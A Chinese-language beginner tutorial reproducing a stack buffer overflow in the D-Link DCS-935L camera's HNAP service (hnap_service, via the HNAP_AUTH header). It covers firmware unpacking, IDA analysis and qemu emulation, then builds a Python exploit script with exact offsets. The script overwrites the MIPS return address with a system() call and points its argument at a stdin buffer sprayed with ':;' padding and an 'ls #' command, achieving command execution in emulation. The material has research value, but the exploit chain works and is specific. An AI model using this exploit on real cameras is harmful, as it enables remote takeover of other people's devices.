本文为新手向,步骤会讲的比较多
需要linux系统,本文出现的工具需要自己下载
简介

该漏洞源于D-Link DCS-935L设备中HNAP(Home Network Administration Protocol)服务组件的代码缺陷。具体受影响文件为/web/cgi-bin/hnap/hnap_service,漏洞函数为SetDeviceSettings。在处理SOAP请求时,程序未对传入的AdminPassword参数长度进行有效验证,直接将其拷贝至固定大小的栈缓冲区中。攻击者可通过构造超长字符串作为该参数的值,覆盖栈上的返回地址,从而劫持程序控制流。由于HNAP服务通常运行在较高权限下,成功利用此漏洞可实现远程代码执行(RCE),造成机密性、完整性和可用性的全面破坏。
固件
先下载固件
https://legacyfiles.us.dlink.com/DCS-935L/REVA/FIRMWARE/

然后使用binwalk解包这个固件
在固件的/web/cgi-bin/hnap路径中有hnap_service,这个就是目标文件

复现
我们将其拖至ida分析,使用ctrl+f搜索strcpy函数,strcpy函数很容易出现栈溢出
char *strcpy(char *dest, const char *src);
如果 src 字符串的长度(不含 \0)大于或等于 dest 缓冲区的大小,strcpy 就会越界写入,覆盖 dest 后面的内存

选中strcpy后按x,跳转第一个即可

按tab键反编译得到伪c代码

前两个strcpy我们并不能控制,接着向后看,点击行数坐标的蓝色圆圈为下断点,此行会变红

79行到83行的三个strcpy都是通过env的字符串来的,我们查看一下env能否控制

第50行可以发现env是外部读取的HNAP_AUTH,也就是说只要我们能够伪造HNAP_AUTH就可以实现栈溢出

接下来我们得分析如果才能使得函数能执行到这
发现在sub_402280函数中,只要dest不为这五个字符串中的即可

接下来我们进一步查看,对着sub_402280函数名按x,可以发现只有main函数用到了这个函数

我们发现如果想要运行到sub_402280则需要通过6个判断
第一个if的env读取外部的REQUEST_METHOD,所以我们要伪造HTTP请求
第二个是判断env是否为空字符的,不为空字符则通过
第三个是判断是否为POST请求,所以我们伪造的HTTP请求需要用POST
第四个只要SOAP_ACTION不为0即可
第五个判断SOAP_ACTION是否为空字符
第六个需要CONTENT_LENGTH小于0x0x20000

当运行到第63行时会打开/tmp/.hnap_in.xml,由于后续我们调试并不是整个系统级仿真,只对hnap_service这个文件单个调试,所以是没有/tmp这个目录的,需要手动去创建一个,否则会段错误


接下来我们需要动态调试查看是否能运行到溢出点,用qemu-static来仿真,创建一个1.txt来作为stdin标准输入,接下来在固件根目录使用下列指令仿真
sudo su
chroot . ./bin/sh
./qemu-mips-static -g 1234 \-E REQUEST_METHOD=POST \
-E SOAP_ACTION=1 \
-E COOKIE=1 \
-E CONTENT_LENGTH=4096 \
-E HNAP_AUTH="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
/web/cgi-bin/hnap/hnap_service < 1.txt
我的qemu-static与1.txt都放在固件的根目录


1.txt里面的是抓的xml格式的包,因为在sub_402280函数中会解析xml
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/">
<Action>SetDeviceSettings</Action>
<DeviceName>1</DeviceName>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

接下来进ida调试,地址为虚拟机的ip地址,使用ifconfig指令找到ens33的ip即可



箭头所指的绿按钮可以执行到断点,我们可以发现成功通过6个if判断来到的sub_402280函数入口

接下来继续执行,经过第79行后我们可以发现只有0x256大小的s_1被我们塞入了一堆a字符

我们查看一下需要多少个字符才能覆盖返回地址,使用pwntools里面的cyclic函数生成1200个字符来覆盖返回地址,我们写个脚本来方便测试,此处cyclic(1200)后有两个空格是因为80与82行有strtok函数会替换空格为截断符
python
import os
import subprocess
import base64
from pwn import *
os.chroot('.')
os.chdir('/')
http_body = b'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/">
<Action>SetDeviceSettings</Action>
<DeviceName>1</DeviceName>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
'''
HNAP_AUTH = (cyclic(1200) + b' aaaa' )
COOKIE = b'uid=aaaa;'
SOAP_ACTION = b'http://purenetworks.com/HNAP1/Login'
CONTENT_LENGTH = str(len(http_body)).encode()
REQUEST_METHOD = b'POST'
subprocess.run(
['/qemu-mips-static', '-g', '1234', '/web/cgi-bin/hnap/hnap_service'],
input=http_body,
env={
'REQUEST_METHOD': REQUEST_METHOD,
'SOAP_ACTION': SOAP_ACTION,
'CONTENT_LENGTH': CONTENT_LENGTH,
'COOKIE': COOKIE,
'HNAP_AUTH': HNAP_AUTH
}
)

使用sudo来启动脚本避免chroot出错,一直调试直到崩溃,可以发现返回地址变为了0x6A61616C


转换后可以发现是jaal这个字符串,cyclic反推偏移可得为1136,16进制为0x470
记住此处的1136


能够栈溢出覆盖返回地址的话那我们得尝试覆盖返回地址到后门函数,而我们可以发现在main函数的第209行存在system函数


记下此处的地址0x004033E8,后续我们要覆盖返回地址为该地址,控制s0则我们可以控制a0,也就是参数的地址


我们可以发现要覆盖的$s0在0x470处也就是之前的1136个字符,而我们溢出的变量为s_3,他在sp+0x64处,也就是说我们需要0x470-0x64为0x40C个字符来覆盖参数的地址


我们要覆盖的返回地址ra在0x470+0x24也就是0x494,0x494-0x64为0x430,也就是1072个字符,为什么是ra,因为MIPS架构的$ra是返回地址寄存器,可以看到成功覆盖了返回地址

python
HNAP_AUTH = (b'a'*1036 + b' \x12\x34\x56' + b'a'*32 + b' \x40\x33\xE8' )

那为何我们前面使用cyclic的时候是1136,怎么现在是1072了呢?这是因为不止有一个栈溢出,我们之前是cyclic1200个字符,超过了第一次溢出的1072,所以实际情况我们不能只靠cyclic来判断溢出位置,要结合实际偏移
现在我们以及控制程序流执行到了system,那么下一步我们需要对参数来修改,例如将system(s_4);的s_4改为,那么我们需要找到稳定的内存地址,例如stdin与环境变量,此处我们从stdin入手


搜索我们指定的字符可以看到地址为0x004319C0,且权限为可读可执行,而stdin的地址不像栈地址一样会变动



那么我们现在就可以把deadbeef这个字符串改为ls,将参数地址改为0x004319C0,但是这样可能会产生偏移导致失败,于是我们可以使用:;:;来填充,修改之前的http_body如下
python
http_body = b'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/">
<Action>''' + (b':;' * 500 + b'ls #') * 10 + b'''</Action>
<DeviceName>1</DeviceName>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
'''
再调试一下,跳到之前的0x004319C0,向下找到我们写的:;
在这堆地址中随便选一个,这里我随便选择的0x004342A4


调试到崩溃可以发现已经成功执行了ls
